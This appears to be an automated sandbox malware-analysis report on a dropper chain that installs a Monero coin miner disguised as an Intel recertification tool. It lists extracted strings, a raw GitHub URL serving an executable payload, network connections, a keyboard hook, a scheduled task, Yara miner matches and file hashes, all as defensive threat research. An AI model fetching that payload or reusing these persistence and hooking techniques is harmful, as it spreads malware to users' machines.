Source: fe64902db3.exe, 00000023.00000003.3068646537.0000000005677000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: powershell.exe, 0000002A.00000002.3202805989.0000000006E78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ion=v4.5wZm
Source: powershell.exe, 00000027.00000002.3158863021.0000000005994000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.3196266039.0000000005734000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: 1c5200ac19.exe, 00000025.00000002.3278002643.00000000025E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com
Source: 1c5200ac19.exe, 00000025.00000002.3278002643.00000000025E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/jthjjdweajtujhjad.exe
Source: skotes.exe, 00000006.00000002.3277060437.000000000149A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3277060437.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: fe64902db3.exe, 00000023.00000003.3045440290.00000000058B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: fe64902db3.exe, 00000023.00000003.3045440290.00000000058B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: fe64902db3.exe, 00000023.00000003.3068900720.0000000005677000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3068646537.0000000005677000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: fe64902db3.exe, 00000023.00000003.3068900720.0000000005677000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3068646537.0000000005677000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: fe64902db3.exe, 00000023.00000003.2998874695.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998753778.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998675293.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: fe64902db3.exe, 00000023.00000003.2998874695.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998753778.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998675293.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: fe64902db3.exe, 00000023.00000003.3045440290.00000000058B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: fe64902db3.exe, 00000023.00000003.3045440290.00000000058B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: fe64902db3.exe, 00000023.00000003.3045440290.00000000058B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: fe64902db3.exe, 00000023.00000003.3045440290.00000000058B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: fe64902db3.exe, 00000023.00000003.3045440290.00000000058B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: fe64902db3.exe, 00000023.00000003.3045440290.00000000058B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: Intel_PTT_EK_Recertification.exe, 0000001E.00000003.2930529971.000001CF4BDC0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001F.00000002.2937239873.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms
Source: Intel_PTT_EK_Recertification.exe, 0000001E.00000003.2930529971.000001CF4BDC0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001F.00000002.2937239873.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard
Source: Intel_PTT_EK_Recertification.exe, 0000001E.00000003.2930529971.000001CF4BDC0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001F.00000002.2937239873.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard%s

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899

Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.5:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.5:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.5:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.5:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.5:49905 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.5:49914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.5:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.5:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.5:49956 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.5:49966 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe

Code function: 7_2_00408DBB SetWindowsHookExW 00000002,Function_00008D8D,00000000,00000000

7_2_00408DBB

Source: 09c0b8253b.exe, 0000002C.00000003.3235165967.0000000005890000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: DirectInput8Create

memstr_2782b0c9-5

Source: 09c0b8253b.exe, 0000002C.00000003.3235165967.0000000005890000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_ffd73bc5-3

Source: Yara match	File source: 45.3.svchost.exe.5060000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.3.svchost.exe.5060000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.3.09c0b8253b.exe.5ab0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.3.09c0b8253b.exe.5890000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.3.svchost.exe.5280000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.3.svchost.exe.5060000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002D.00000003.3246909441.0000000005060000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000003.3235165967.0000000005890000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000003.3247105347.0000000005280000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000003.3235735091.0000000005AB0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 09c0b8253b.exe PID: 5864, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 30.3.Intel_PTT_EK_Recertification.exe.1cf4bdc0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 30.3.Intel_PTT_EK_Recertification.exe.1cf4bdc0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 30.3.Intel_PTT_EK_Recertification.exe.1cf4bdc0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 30.3.Intel_PTT_EK_Recertification.exe.1cf4bdc0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 31.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 31.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 0000001E.00000003.2930529971.000001CF4BDC0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 0000001E.00000003.2930529971.000001CF4BDC0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects coinmining malware Author: ditekSHen

Drops password protected ZIP file

Source: file.bin.7.dr

Zip Entry: encrypted

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: ed0fb10817.exe.6.dr	Static PE information: section name:
Source: ed0fb10817.exe.6.dr	Static PE information: section name: .idata
Source: ed0fb10817.exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: 09c0b8253b.exe.6.dr	Static PE information: section name:
Source: 09c0b8253b.exe.6.dr	Static PE information: section name: .idata
Source: 09c0b8253b.exe.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: fe64902db3.exe.6.dr	Static PE information: section name:
Source: fe64902db3.exe.6.dr	Static PE information: section name: .idata
Source: fe64902db3.exe.6.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_0060CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

6_2_0060CB97

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 11_2_00A396AC: free,GetFileInformationByHandle,DeviceIoControl,free,free,memmove,free,

11_2_00A396AC

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B378BB	0_2_00B378BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B38860	0_2_00B38860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B37049	0_2_00B37049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B331A8	0_2_00B331A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AF4B30	0_2_00AF4B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AF4DE0	0_2_00AF4DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B32D10	0_2_00B32D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B3779B	0_2_00B3779B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B27F36	0_2_00B27F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00638860	2_2_00638860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00637049	2_2_00637049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_006378BB	2_2_006378BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_006331A8	2_2_006331A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_005F4B30	2_2_005F4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00632D10	2_2_00632D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_005F4DE0	2_2_005F4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00627F36	2_2_00627F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0063779B	2_2_0063779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00638860	3_2_00638860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00637049	3_2_00637049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006378BB	3_2_006378BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006331A8	3_2_006331A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_005F4B30	3_2_005F4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00632D10	3_2_00632D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_005F4DE0	3_2_005F4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00627F36	3_2_00627F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_0063779B	3_2_0063779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_005FE530	6_2_005FE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00616192	6_2_00616192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00638860	6_2_00638860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_005F4B30	6_2_005F4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00632D10	6_2_00632D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_005F4DE0	6_2_005F4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00610E13	6_2_00610E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00637049	6_2_00637049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_006331A8	6_2_006331A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00620BC7	6_2_00620BC7
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00611602	6_2_00611602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0063779B	6_2_0063779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_006378BB	6_2_006378BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00613DF1	6_2_00613DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00627F36	6_2_00627F36
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Code function: 7_2_00405BFC	7_2_00405BFC
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Code function: 7_2_0040B0E0	7_2_0040B0E0
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Code function: 7_2_0040B0E4	7_2_0040B0E4
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Code function: 7_2_00419973	7_2_00419973
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Code function: 7_2_0040A900	7_2_0040A900
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Code function: 7_2_0040A270	7_2_0040A270
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Code function: 7_2_0040AC20	7_2_0040AC20
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Code function: 7_2_00409C20	7_2_00409C20
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Code function: 7_2_0040D480	7_2_0040D480
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Code function: 7_2_0040ED00	7_2_0040ED00
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Code function: 7_2_00409DD0	7_2_00409DD0
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Code function: 7_2_00419601	7_2_00419601
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Code function: 7_2_004196DB	7_2_004196DB
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Code function: 7_2_00418F40	7_2_00418F40
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A5F13E	11_2_00A5F13E
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A524C0	11_2_00A524C0
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A55458	11_2_00A55458
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A547AC	11_2_00A547AC
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A78817	11_2_00A78817
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A40DCC	11_2_00A40DCC
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A3F1B4	11_2_00A3F1B4
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A3B114	11_2_00A3B114
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A4C278	11_2_00A4C278
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A73528	11_2_00A73528
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A62578	11_2_00A62578
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A6066E	11_2_00A6066E
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A5D66C	11_2_00A5D66C
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A4D858	11_2_00A4D858
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A749A5	11_2_00A749A5
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A699B8	11_2_00A699B8
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A679DC	11_2_00A679DC
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A5694C	11_2_00A5694C
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A7DA30	11_2_00A7DA30
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A6FA0C	11_2_00A6FA0C
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A48CA8	11_2_00A48CA8
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A7DC11	11_2_00A7DC11
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A47C68	11_2_00A47C68
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A7DD00	11_2_00A7DD00
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A56E08	11_2_00A56E08
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A38F18	11_2_00A38F18
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A4AF58	11_2_00A4AF58

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe E115298AB160DA9C7A998E4AE0B72333F64B207DA165134CA45EB997A000D378
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe 3D51B9523B387859BC0D94246DFB216CFA82F9D650C8D11BE11ED67F70E7440B

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Process token adjusted: Security

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00B080C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0060D942 appears 86 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0060D663 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00607A00 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0060D64E appears 79 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 006080C0 appears 393 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00628E10 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0060DF80 appears 82 times
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Code function: String function: 004029A6 appears 44 times

Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5864 -s 668

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 30.3.Intel_PTT_EK_Recertification.exe.1cf4bdc0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 30.3.Intel_PTT_EK_Recertification.exe.1cf4bdc0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 30.3.Intel_PTT_EK_Recertification.exe.1cf4bdc0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 30.3.Intel_PTT_EK_Recertification.exe.1cf4bdc0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 31.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 31.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 0000001E.00000003.2930529971.000001CF4BDC0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 0000001E.00000003.2930529971.000001CF4BDC0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9982703933923706
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982703933923706
Source: random[1].exe.6.dr	Static PE information: Section: nlrrxusx ZLIB complexity 0.9943852498937376
Source: ed0fb10817.exe.6.dr	Static PE information: Section: nlrrxusx ZLIB complexity 0.9943852498937376
Source: random[2].exe.6.dr	Static PE information: Section: ZLIB complexity 0.9956829451107011
Source: random[2].exe.6.dr	Static PE information: Section: ufswpnwm ZLIB complexity 0.9926191880053908
Source: 09c0b8253b.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9956829451107011
Source: 09c0b8253b.exe.6.dr	Static PE information: Section: ufswpnwm ZLIB complexity 0.9926191880053908
Source: random[2].exe0.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: random[2].exe0.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: c9ea911eaa.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: c9ea911eaa.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: random[1].exe2.6.dr	Static PE information: Section: ZLIB complexity 0.9974582619863014
Source: random[1].exe2.6.dr	Static PE information: Section: xnuzvlhe ZLIB complexity 0.994702490860937
Source: fe64902db3.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9974582619863014
Source: fe64902db3.exe.6.dr	Static PE information: Section: xnuzvlhe ZLIB complexity 0.994702490860937

Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 09c0b8253b.exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[2].exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: 1c5200ac19.exe.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 1c5200ac19.exe.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: random[1].exe0.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: random[1].exe0.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

